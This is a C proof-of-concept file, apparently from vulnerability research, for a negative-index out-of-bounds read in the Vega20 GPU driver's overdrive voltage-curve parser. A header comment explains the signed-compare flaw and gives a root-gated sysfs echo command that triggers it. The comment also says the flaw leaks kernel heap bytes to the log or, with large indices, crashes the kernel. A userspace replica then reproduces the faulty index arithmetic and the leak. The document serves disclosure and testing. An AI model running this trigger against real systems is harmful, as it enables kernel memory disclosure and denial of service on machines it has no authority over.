DF-3859 / odn_negidx.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 | /* * DF-3859 PoC — negative-index OOB read in vega20_odn_edit_dpm_table() * PP_OD_EDIT_VDDC_CURVE branch * (sys/dev/drm/amd/powerplay/hwmgr/vega20_hwmgr.c:2656-2720), * the DF-3704 (vega10 odn signed-compare) twin for Vega20. * * int32_t input_index, ...; * input_index = input[i]; :2674 (long from kstrtol) * if (input_index > 2) { ... return -EINVAL; } :2678 <-- signed compare, * negatives pass! * od8_id = OD8_SETTING_GFXCLK_FREQ1 + 2 * input_index; :2685 * if (input_clk < od8_settings[od8_id].min_value || :2686-2687 OOB read * input_clk > od8_settings[od8_id].max_value) { * pr_info("clock freq %d is not within allowed range [%d - %d]\n", * input_clk, od8_settings[od8_id].min_value, <-- leaked kernel * od8_settings[od8_id].max_value); <-- heap bytes * return -EINVAL; * } * od8_id = OD8_SETTING_GFXCLK_VOLTAGE1 + 2 * input_index; :2695 (again) * * od8_settings_array is vega20_od8_single_setting[OD8_SETTING_COUNT=16] * inside struct vega20_hwmgr (vega20_hwmgr.h:429). input_index = -1 gives the * in-bounds-but-wrong slot FMIN(0); input_index <= -2 gives od8_id < 0: * small negatives read adjacent vega20_hwmgr fields (odn_data etc.) and the * values are printed to the log via pr_info (kernel-heap disclosure); * large negatives (attacker-controlled magnitude, int32 from user token) * read gigabytes before the backend allocation -> kernel page fault. * * Trigger (root-gated sysfs, amdgpu_pm.c:1028 S_IWUSR pp_od_clk_voltage): * echo "vc -2 1000 900" > /sys/class/drm/card0/device/pp_od_clk_voltage * (the amdgpu_pm.c parser kstrtol()s every token, so "-2" is accepted.) * * This replica reproduces the index arithmetic and the OOB read verbatim on * a heap-allocated stand-in: small negative index leaks adjacent-object * bytes into the "error range" print; a large negative index faults. */ #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <string.h> #include <errno.h> enum OD8_SETTING_ID { OD8_SETTING_GFXCLK_FMIN = 0, OD8_SETTING_GFXCLK_FMAX, OD8_SETTING_GFXCLK_FREQ1, OD8_SETTING_GFXCLK_VOLTAGE1, OD8_SETTING_GFXCLK_FREQ2, OD8_SETTING_GFXCLK_VOLTAGE2, OD8_SETTING_GFXCLK_FREQ3, OD8_SETTING_GFXCLK_VOLTAGE3, OD8_SETTING_UCLK_FMAX, OD8_SETTING_POWER_PERCENTAGE, OD8_SETTING_FAN_ACOUSTIC_LIMIT, OD8_SETTING_FAN_MIN_SPEED, OD8_SETTING_FAN_TARGET_TEMP, OD8_SETTING_OPERATING_TEMP_MAX, OD8_SETTING_AC_TIMING, OD8_SETTING_FAN_ZERO_RPM_CONTROL, OD8_SETTING_COUNT }; /* verbatim vega20_hwmgr.h:418-424 */ struct vega20_od8_single_setting { uint32_t feature_id; int32_t min_value; int32_t max_value; int32_t current_value; int32_t default_value; }; struct od8_ctx { /* stand-in for the bytes of struct vega20_hwmgr that precede * od8_settings (dpm_table, golden_dpm_table, registry_data, * vbios_boot_state, mclk_latency_table, ... ) */ uint8_t preceding_backend_bytes[512]; struct vega20_od8_single_setting od8_settings_array[OD8_SETTING_COUNT]; }; /* verbatim check of vega20_hwmgr.c:2685-2693 */ static int check_freq_range(struct od8_ctx *ctx, int32_t input_index, int32_t input_clk) { int od8_id = OD8_SETTING_GFXCLK_FREQ1 + 2 * input_index; /* :2685 */ struct vega20_od8_single_setting *od8_settings = ctx->od8_settings_array; printf(" input_index=%d -> od8_id=%d (byte offset %+ld from array)\n", input_index, od8_id, (long)od8_id * (long)sizeof(struct vega20_od8_single_setting)); fflush(stdout); if (input_clk < od8_settings[od8_id].min_value || /* :2686 */ input_clk > od8_settings[od8_id].max_value) { printf(" clock freq %d is not within allowed range [%d - %d]\n" " ^--- OOB-read kernel bytes printed to the log\n", input_clk, od8_settings[od8_id].min_value, /* leak */ od8_settings[od8_id].max_value); /* leak */ return -EINVAL; } return 0; } int main(int argc, char **argv) { int32_t idx = argc > 1 ? (int32_t)strtol(argv[1], NULL, 0) : -2; int32_t clk = argc > 2 ? (int32_t)strtol(argv[2], NULL, 0) : 1000; /* heap allocation so the negative index really leaves the object, * exactly like the kzalloc'd vega20_hwmgr backend */ struct od8_ctx *ctx = malloc(sizeof(*ctx)); memset(ctx, 0xA5, sizeof(*ctx)); /* marker bytes = "adjacent heap" */ for (int i = 0; i < OD8_SETTING_COUNT; i++) { ctx->od8_settings_array[i].min_value = 500; ctx->od8_settings_array[i].max_value = 2000; } /* first demonstrate the in-bounds control (input_index=1) */ printf("control (vc 1 %d):\n", clk); check_freq_range(ctx, 1, clk); printf("attack (vc %d %d):\n", idx, clk); int r = check_freq_range(ctx, idx, clk); printf("returned %d\n", r); free(ctx); return 0; } |